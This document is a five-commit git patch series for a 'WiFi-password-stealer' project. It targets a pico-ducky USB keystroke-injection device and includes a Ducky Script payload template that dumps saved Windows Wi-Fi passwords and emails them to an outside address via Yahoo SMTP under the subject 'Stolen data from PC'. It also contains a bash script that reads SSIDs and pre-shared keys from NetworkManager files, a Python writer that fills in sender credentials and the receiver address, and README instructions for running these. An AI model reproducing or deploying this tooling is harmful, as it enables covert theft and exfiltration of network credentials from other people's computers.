From 144319d959623628e6e8bfce053a43e9de7dab17 Mon Sep 17 00:00:00 2001 From: AleksaMCode Date: Tue, 26 Sep 2023 11:01:13 +0200 Subject: [PATCH 1/5] Remove bug Add missing single quotations --- payload/payload_windows.template.dd | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payload/payload_windows.template.dd b/payload/payload_windows.template.dd index fc8c237..69b97ff 100644 --- a/payload/payload_windows.template.dd +++ b/payload/payload_windows.template.dd @@ -28,7 +28,7 @@ STRING Format-Table -AutoSize ENTER STRING Out-File -FilePath .\wifi_pass.txt -InputObject $res -Encoding ASCII -Width 50 ENTER -STRING Send-MailMessage -To RECEIVER_EMAIL -from SENDER_EMAIL -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL, $(PASSWORD | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587 +STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587 ENTER DELAY 500 STRING Remove-Item .\wifi_pass.txt From e5eca31f8a6f8b3d0ed1a5ffa26a5c6da9fe2dae Mon Sep 17 00:00:00 2001 From: AleksaMCode Date: Tue, 26 Sep 2023 11:15:14 +0200 Subject: [PATCH 2/5] Update `Bash` script Add argument that contains USB name --- scripts/wifi_passwords_print.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/wifi_passwords_print.sh b/scripts/wifi_passwords_print.sh index c84f019..b916633 100644 --- a/scripts/wifi_passwords_print.sh +++ b/scripts/wifi_passwords_print.sh @@ -1,7 +1,7 @@ #!/bin/bash -echo "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt +echo "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/$1/wifi_pass.txt for FILE in /etc/NetworkManager/system-connections/* do echo "$(cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(cat "$FILE" | grep -oP '(?<=psk=).*')" -done >> /media/$(hostname)/USBSTICK/wifi_pass.txt \ No newline at end of file +done >> /media/$(hostname)/$1/wifi_pass.txt \ No newline at end of file From 5f8b414841b9f2ab9803bc912ae659a7601a7d63 Mon Sep 17 00:00:00 2001 From: AleksaMCode Date: Tue, 26 Sep 2023 11:16:54 +0200 Subject: [PATCH 3/5] Update `README.md` --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index f1cac2c..a5d782d 100644 --- a/README.md +++ b/README.md @@ -114,10 +114,10 @@ https://github.com/AleksaMCode/WiFi-password-stealer/blob/a90ffb208e6a09d1b0ae44

In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:

```bash -echo PASSWORD | sudo -S sh wifi_passwords_print.sh +echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK ``` -where `PASSWORD` is your account's password. +where `PASSWORD` is your account's password and `USBSTICK` is the name for your USB device. #### Quick overview of the payload

NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.

From 6f68662885bcf6d4285ee8a7cc51f1a7cdeb329b Mon Sep 17 00:00:00 2001 From: AleksaMCode Date: Tue, 26 Sep 2023 12:19:00 +0200 Subject: [PATCH 4/5] Implement payload writer --- payload/writer.py | 99 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 payload/writer.py diff --git a/payload/writer.py b/payload/writer.py new file mode 100644 index 0000000..f369e08 --- /dev/null +++ b/payload/writer.py @@ -0,0 +1,99 @@ +import sys + +ARGS = sys.argv[1:] +SYSTEM_LIST = ["windows", "linux"] + + +def windows_writer(): + payload = [] + try: + payload = open(ARGS[1], 'r').readlines() + SMTP_SERVER = "smtp.mail.yahoo.com" + SMTP_PORT = 587 + EMAIL_SUBJECT = "Stolen data from PC" + EMAIL_BODY = "Exploited data is stored in the attachment." + + value = input(f"Select a SMTP server (default '{SMTP_SERVER}'): ") + if value == "": + value = SMTP_SERVER + payload[30] = payload[30].replace("SMTP_SERVER", value) + + value = input(f"Select a SMTP server port (default '{SMTP_PORT}'): ") + if value == "": + value = SMTP_PORT + payload[30] = payload[30].replace("SMTP_PORT", value) + + done = False + while not done: + value = input(f"Select a SMTP server password: ") + if value != "": + payload[30] = payload[30].replace("SMTP_PASSWORD", value) + done = True + + done = False + while not done: + value = input(f"Select a SMTP server email: ") + if value != "": + payload[30] = payload[30].replace("SENDER_EMAIL", value) + done = True + + done = False + while not done: + value = input(f"Select a receiver email: ") + if value != "": + payload[30] = payload[30].replace("RECEIVER_EMAIL", value) + done = True + + value = input(f"Select an email subject (default '{EMAIL_SUBJECT}'): ") + if value == "": + value = EMAIL_SUBJECT + payload[30] = payload[30].replace("EMAIL_SUBJECT", value) + + value = input(f"Select an email body (default '{EMAIL_BODY}'): ") + if value == "": + value = EMAIL_BODY + payload[30] = payload[30].replace("EMAIL_BODY", value) + except FileNotFoundError: + exit(f"File '{ARGS[1]}' is missing.") + + with open(ARGS[1], 'w') as f: + for line in payload: + f.write(line) + + +def linux_writer(): + payload = [] + + try: + payload = open(ARGS[1], 'r').readlines() + + done = False + while not done: + value = input(f"Select you password: ") + if value != "": + payload[6] = payload[6].replace("PASSWORD", value) + payload[8] = payload[8].replace("PASSWORD", value) + done = True + + done = False + while not done: + value = input(f"Select you USB stick name: ") + if value != "": + payload[2] = payload[2].replace("USBSTICK", value) + payload[10] = payload[10].replace("USBSTICK", value) + done = True + except FileNotFoundError: + exit(f"File '{ARGS[1]}' is missing.") + + with open(ARGS[1], 'w') as f: + for line in payload: + f.write(line) + + +if not ARGS or len(ARGS) != 2 or ARGS[0] not in SYSTEM_LIST: + exit("Unknown system argument(s) used.") + +if ARGS[0] == SYSTEM_LIST[0]: + windows_writer() +else: + linux_writer() From 446c2f6f7eb046042bd7c394f90daeee14585709 Mon Sep 17 00:00:00 2001 From: AleksaMCode Date: Tue, 26 Sep 2023 12:32:17 +0200 Subject: [PATCH 5/5] Update `README.md` Add Payload Writer section --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index a5d782d..3863d7c 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,7 @@ - [Quick overview of the payload](#quick-overview-of-the-payload) - [Exfiltrated data formatting](#exfiltrated-data-formatting) - [USB Mass Storage Device Problem](#usb-mass-storage-device-problem) + - [Payload Writer](#payload-writer) - [Limitations/Drawbacks](#limitationsdrawbacks) - [To-Do List](#to-do-list) @@ -141,6 +142,13 @@ https://github.com/AleksaMCode/WiFi-password-stealer/blob/f5b3b11328764eb07d765a >
  • Don't solder the pins because you will probably want to change/update the payload at some point.
    • > +## Payload Writer +

    When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass in addition to the script wile name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload.dd). Below you can find an example how to run the script when creating a Windows payload.

    + +```bash +python3 writer.py windows payload.dd +``` + ## Limitations/Drawbacks

    • This pico-ducky currently works only on Windows OS.